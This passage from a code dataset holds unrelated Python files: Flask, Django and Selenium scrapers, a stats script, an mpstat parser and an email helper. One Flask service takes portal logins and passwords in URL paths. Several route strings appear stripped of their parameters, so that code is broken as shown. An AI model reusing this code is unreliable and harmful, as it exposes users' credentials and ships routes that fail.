e:\n db.rollback()\n return jsonify({\"error\": str(e)}), 500\n\n\n\n@app.route('/getuser/', methods=['GET'])\ndef get_user(user_id):\n try:\n cursor.execute(\"SELECT * FROM users WHERE user_id=%s\", (user_id,))\n user = cursor.fetchone()\n if user:\n user_dict = {\n \"user_id\": user[0],\n \"username\": user[1],\n \"email\": user[2]\n }\n return jsonify(user_dict), 200\n else:\n return jsonify({\"message\": f\"User with ID {user_id} not found\"}), 404\n except Exception as e:\n return jsonify({\"error\": str(e)}), 500\n\n\n@app.route('/getallusers', methods=['GET'])\ndef get_all_users():\n try:\n cursor.execute(\"SELECT * FROM users\")\n users = cursor.fetchall()\n user_list = []\n for user in users:\n user_dict = {\n \"user_id\": user[0],\n \"username\": user[1],\n \"email\": user[2]\n }\n user_list.append(user_dict)\n return jsonify(user_list), 200\n except Exception as e:\n return jsonify({\"error\": str(e)}), 500\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"hafeezbabar/InventoryManagementSystem","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26780107585","text":"\"\"\"Simple script for printing some dataset statistics.\n\"\"\"\n\n\nimport os\nimport argparse as ap\nimport sqlite3 as sql\n\n\nif __name__ == \"__main__\":\n parser = ap.ArgumentParser()\n parser.add_argument(\"db\", type=str,\n help=\"Filename of the DB to describe.\")\n args = parser.parse_args()\n\n if not os.path.isfile(args.db):\n print(\"Error: \", args.db, \"does not exist.\")\n exit(-1)\n\n db = sql.connect(args.db)\n cur = db.cursor()\n cur.execute(\"PRAGMA FOREIGN_KEYS = ON\")\n\n cur.execute(\"SELECT COUNT(*) FROM Sequences\")\n print(\"Total dataset size is\", cur.fetchone()[0])\n\n cur.execute(\"SELECT seqpart, COUNT(seqid) FROM Sequences GROUP BY seqpart\")\n print(\"Dataset split is\", cur.fetchall())\n\n cur.execute(\"SELECT COUNT(*) FROM Alphabet\")\n print(\"Alphabet size is\", cur.fetchone()[0])\n\n cur.execute(\"\"\"\n WITH SeqLens AS (\n SELECT MAX(svidx) + 1 AS seqlen, seqid FROM SequenceValues GROUP BY seqid\n )\n SELECT AVG(seqlen) FROM SeqLens NATURAL JOIN Sequences GROUP BY seqpart\n \"\"\")\n print(\"Average sentence length in each partition is\", cur.fetchall())\n\n cur.execute(\"SELECT COUNT(*) FROM LabelTypes\")\n print(\"There are\", cur.fetchone()[0], \"label types\")\n\n cur.execute(\"SELECT COUNT(lbl) FROM LabelDictionary GROUP BY lbltype\")\n print(\"The label types' number of labels is respectively:\", cur.fetchall())\n\n db.commit()\n db.close()\n","repo_name":"samuelbarrett1234/csproject","sub_path":"csproject/describe_dataset.py","file_name":"describe_dataset.py","file_ext":"py","file_size_in_byte":1450,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"5555779028","text":"from bs4 import BeautifulSoup\n# Selenium imports\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\n\"\"\"\nPlace your answers to the Design check questions here:\n\n1.\n\n2.\n\n3.\n\n4.\n\n\"\"\"\n################## CHROME ################### \nfrom selenium.webdriver.chrome.service import Service as ChromeService\nfrom webdriver_manager.chrome import ChromeDriverManager\n\ndef get_driver():\n \"\"\"Change only if you are using a different browser. Default on the stencil is google chrome.\"\"\"\n service = ChromeService(ChromeDriverManager().install())\n return webdriver.Chrome(service=service)\n############################################# \n\n##################### DO NOT CHANGE #######################\n\ndef craigslist_get_city(city_name: str, driver: webdriver):\n \"\"\"Returns a BeautifulSoup object for a given city from Craigslist\"\"\"\n\n\n url = f\"https://{city_name}.craigslist.org/search/apa\"\n driver.get(url)\n\n ## The difference here from previous webscraping examples done in lab/class is this one step!\n ## Instead of using requests, we will be using a driver. \n try:\n # WebDriverWait with EC is used to stop program execution temporarily \n # until the specified condition is met or the maximum wait time is reached\n # Here, we wait up to 10 seconds before timing out if it does not find the elements with the class name 'result-title'.\n WebDriverWait(driver, 10).until(\n EC.presence_of_element_located((By.CLASS_NAME, \"result-title\"))\n )\n except Exception as e:\n print(\"Exception while waiting for page elements:\", e)\n\n soup = BeautifulSoup(driver.page_source, 'html.parser')\n return soup\n\ndef local_get_city(city_name: str) -> BeautifulSoup:\n \"\"\"Returns a BeautifulSoup object for a given city from the local filesystem\"\"\"\n\n # Files must be in this directory\n file_template = \"localdata/{}.html\"\n try:\n with open(file_template.format(city_name), \"r\") as f:\n return BeautifulSoup(f.read(), \"html.parser\")\n except:\n raise NoCityError(\"No city named {} found\".format(city_name))\n##################### DO NOT CHANGE #######################\n\n\nCITIES = [\n \"providence\",\n \"atlanta\",\n \"austin\",\n \"boston\",\n \"chicago\",\n \"dallas\",\n \"denver\",\n \"detroit\",\n \"houston\",\n \"lasvegas\",\n \"losangeles\",\n \"miami\",\n \"minneapolis\",\n \"newyork\",\n \"philadelphia\",\n \"phoenix\",\n \"portland\",\n \"raleigh\",\n \"sacramento\",\n \"sandiego\",\n \"seattle\",\n \"washingtondc\",\n]\n\n\nclass NoCityError(Exception):\n pass\n\ndef scrape_data(city_pages: dict):\n \"\"\"Scrapes data from a collection of pages.\n The keys of city_pages are city names. The values are BeautifulSoup objects.\"\"\"\n pass\n\ndef scrape_craigslist_data():\n \"\"\"Scrape data from Craigslist\"\"\"\n return scrape_data({city: craigslist_get_city(city, get_driver()) for city in CITIES})\n\n\ndef scrape_local_data():\n \"\"\"Scrape data from the local filesystem\"\"\"\n return scrape_data({city: local_get_city(city) for city in CITIES})\n\n\ndef interesting_word(word: str) -> bool:\n \"\"\"Determines whether a word in a listing is interesting\"\"\"\n return word.isalpha() and word not in [\n \"to\",\n \"at\",\n \"your\",\n \"you\",\n \"and\",\n \"for\",\n \"in\",\n \"the\",\n \"with\",\n \"bedroom\",\n \"bed\",\n \"bath\",\n \"unit\",\n ]\n","repo_name":"cs0112/cs0112.github.io","sub_path":"www/Projects/Web Scraping/scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":3540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18918448019","text":"import csv\nimport os\nimport pandas as pd\nimport pathlib\nimport re\nfrom utils.regex import get_date\nfrom utils.regex import get_value\n\n\ndef handle_pv_list(filetype, line, separate, meminfo_params, date_msg, fp):\n params, values = get_value(filetype, line)\n if params is not None and type(params) is list:\n param_pair = zip(params, values)\n for param, value in param_pair:\n meminfo_params[param] = meminfo_params.get(param, [])\n\n if separate:\n meminfo_params[param].append([date_msg, value])\n else:\n # Append the the value if the operation is normal\n meminfo_params[param].append(value)\n\n\ndef parse_mpstat_to_csv(filename, outputdir, month, separate):\n meminfo_params = {}\n m_date = None\n date_msg = None\n df_all = pd.DataFrame()\n filetype = \"mpstat\"\n\n try:\n with open(filename, 'r') as fp:\n print(\"Parsing \" + filename)\n line = fp.readline()\n\n while line:\n # skip the label line\n label_line = re.search(r\"Average:\\s+CPU\", line)\n if label_line:\n line = fp.readline()\n continue\n\n # scan the separate line '----'\n if(line[0] == \"-\"):\n m = re.search(\"----------\", line)\n if m:\n # clear the date and the recorded parameters\n m_date = None\n line = fp.readline()\n continue\n\n # i.e. 2020.05.29-23.18.02\n if m_date is None:\n date_msg = get_date(month, line)\n if date_msg is not None:\n m_date = 1\n \"\"\"We don't append the date here. It will dupliate at\n the first insertion.\n \"\"\"\n line = fp.readline()\n continue\n else:\n \"\"\"In reality, there is a condition that the record is\n saved in interleave. The log date is using the latest one.\n ---------------------------------------------\n ---------------------------------------------\n ---------------------------------------------\n 2021.06.25-08.47.54\n 2021.06.25-08.47.54\n 2021.06.25-08.47.54\n Average: CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle\n Average: all 1.26 0.00 1.01 79.90 0.00 0.00 0.00 0.00 0.00 17.84\n \"\"\"\n date_chk = get_date(month, line)\n if date_chk is not None:\n print(\"Detect the repeated date: {}!\".format(date_chk))\n line = fp.readline()\n continue\n\n # Needs to append the date as there are many CPUs\n meminfo_params[\"date\"] = meminfo_params.get(\"date\", [])\n meminfo_params[\"date\"].append(date_msg)\n\n handle_pv_list(filetype, line, separate, meminfo_params,\n date_msg, fp)\n\n line = fp.readline()\n except OSError:\n if filename == \"\":\n print(\"[%s] Filename is empty! Please assign the file to parse or \"\n \"check the default path.\" % filetype)\n else:\n print(\"[%s] Cannot read \\\"%s\\\", May be it doesn't exist!\"\n % (filetype, filename))\n return\n\n key = []\n keys = meminfo_params.keys()\n if list(keys) == []:\n print(\"[%s] No keys found in %s!, the format is not correct!\" %\n (filetype, filename))\n return\n\n if separate:\n for key in list(keys):\n pathlib.Path(outputdir).mkdir(parents=True, exist_ok=True)\n with open(outputdir + '/' + key + '.csv', 'w', newline='') as f:\n writer = csv.writer(f)\n writer.writerow([\"date\", \"value\"])\n writer.writerows(meminfo_params[key])\n print(\"The .csv file is separated under: \" + os.getcwd())\n else:\n # df_all = pd.DataFrame(meminfo_params)\n df_all = pd.DataFrame.from_dict(meminfo_params, orient='index')\n df_all = df_all.transpose()\n df_all.set_index('date', inplace=True)\n csv_output_file = os.path.join(outputdir, filetype + \".csv\")\n df_all.to_csv(csv_output_file)\n print(\"The \" + csv_output_file + \" is generated\")\n","repo_name":"bboymimi/easy-flamegraph","sub_path":"profile/cleansing/utils/csv/mpstat.py","file_name":"mpstat.py","file_ext":"py","file_size_in_byte":4674,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"37"} +{"seq_id":"16288730987","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.chrome.options import Options\nfrom flask import Flask\nfrom multiprocessing.pool import ThreadPool\nimport time\n\napp = Flask(__name__)\n\nchrome_options = Options()\nchrome_options.add_argument('--no-sandbox')\nchrome_options.add_argument('--disable-dev-shm-usage')\n\ndef WebScrapping(login_param, senha_param):\n driver = webdriver.Chrome(options=chrome_options)\n driver.get(\"http://www2.cesupa.br/TIA/aluno-on.asp\")\n login_input = driver.find_element_by_id(\"cpf\")\n senha_input = driver.find_element_by_id(\"senha\")\n print(login_param)\n print(senha_param)\n login_input.send_keys(login_param)\n senha_input.send_keys(senha_param)\n senha_input.send_keys(Keys.RETURN)\n driver.get(\"http://www2.cesupa.br/TIA/bolnotafreq.asp\")\n div_tabela = driver.find_element_by_class_name(\"conteudo2\")\n tabela = div_tabela.find_element_by_tag_name(\"table\")\n tbody = tabela.find_element_by_tag_name(\"tbody\")\n linhas = tbody.find_elements_by_tag_name(\"tr\")\n tabela_json = {}\n for i, linha in enumerate(linhas):\n colunas = linha.find_elements_by_tag_name(\"td\")\n for ii, coluna in enumerate(colunas):\n if i == 0:\n titulo = coluna.text if \"\\n\" not in coluna.text else coluna.text.replace(\"\\n\", \" \")\n titulo = titulo.strip()\n tabela_json[titulo] = {}\n else:\n chaves = list(tabela_json.keys())\n titulo = chaves[ii] if \"\\n\" not in chaves[ii] else chaves[ii].replace(\"\\n\", \" \")\n if i == 1:\n tabela_json[titulo] = []\n tabela_json[titulo].append(coluna.text.strip())\n driver.quit()\n return tabela_json\npool = ThreadPool(processes=2)\n\n\n@app.route(\"/\")\ndef ola():\n return \"oi\"\n\n@app.route(\"//\")\ndef home(login_param, senha_param):\n try:\n async_call = pool.apply_async(WebScrapping, (login_param, senha_param,))\n print('Processando....')\n return async_call.get()\n except:\n return \"Houve algum erro :/\"\n\napp.run(\"0.0.0.0\", 5000)","repo_name":"Elielson68/CesupaWebScrapping","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2097,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"17467706971","text":"from django.urls import path\nfrom django.contrib.auth.views import LoginView\nfrom . import views\n\napp_name = 'FinalWhistle'\nurlpatterns = [\n path('', views.IndexView.as_view(), name='index'),\n path('tournois/', views.IndexView.as_view(), name='index'),\n path('tournois//', views.PouleView.as_view(), name='poule'),\n path('match/', views.MatchView.as_view(), name='match'),\n path('comment//edit/', views.EditCommentView.as_view(), name='edit_comment'),\n path('tournois//arborescence', views.TournamentTree, name = 'tree' ),\n path('tournois//scatter_plot/', views.scatter_plot, name='scatter_plot'),\n path('tournois//goal_plot/', views.goal_plot, name='goal_plot'),\n path('match//team_goals/', views.team_goals, name='team_goals'),\n path('search/', views.search, name='search'),\n\n]","repo_name":"AnTerZz/tournois-antoine-rieuneau","sub_path":"tournois/FinalWhistle/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"34624400446","text":"import os.path\nimport smtplib\nfrom email.message import EmailMessage\ndef send_email(email,projectNo,curDate, role, remarks,basedirauth):\n msg = EmailMessage()\n msg['Subject'] = 'new feedback submission'\n msg['From'] = 'email1@example.com'\n msg['To'] = 'email2@example.com'\n msg.set_content(f'New Feedback Submission for {projectNo} on {curDate}\\nName:{email}\\nUserType:{role}\\nchanges/remarks :{remarks}')\n with open(os.path.join(basedirauth,\"worksheets\",projectNo+\".xlsx\"),'rb') as f:\n file_data = f.read()\n file_name = f.name\n msg.add_attachment(file_data, maintype='application', subtype='xlsx', filename=file_name)\n with smtplib.SMTP_SSL('smtp.mailtrap.io', 2525) as smtp:\n #login credentails from mailtrap.io\n smtp.login('', '')\n smtp.send_message(msg)\n smtp.quit()\n","repo_name":"iknothing/FeedbackApp_Final","sub_path":"flaskapp/send_email.py","file_name":"send_email.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"39371951859","text":"from genericpath import isfile\nfrom os import listdir, path\nfrom typing import List\nfrom app import App\nfrom misc.colors import Color\nfrom project.project import ApiConnectionError, DescriptiveError, InvalidServerIdError, NoProjectFileError, \\\n ProjectLoadError, ProjectNotFoundError\n\ndef command_project(app: App, args: List[str]):\n if len(args) < 1:\n app.console.write(\"\")\n app.console.write(\"project: Control project-related stuff\")\n app.console.write(\"\")\n app.console.write(\"Usage:\")\n app.console.write(\" project list List all projects known to kitree\")\n app.console.write(\" project init Initialize a new project\")\n app.console.write(\" project load last Load the last project\")\n app.console.write(\" project load Load an already known project using its name\")\n app.console.write(\" project load Load an existing project at given path\")\n app.console.write(\" project status Information about the current active project\")\n app.console.write(\" project set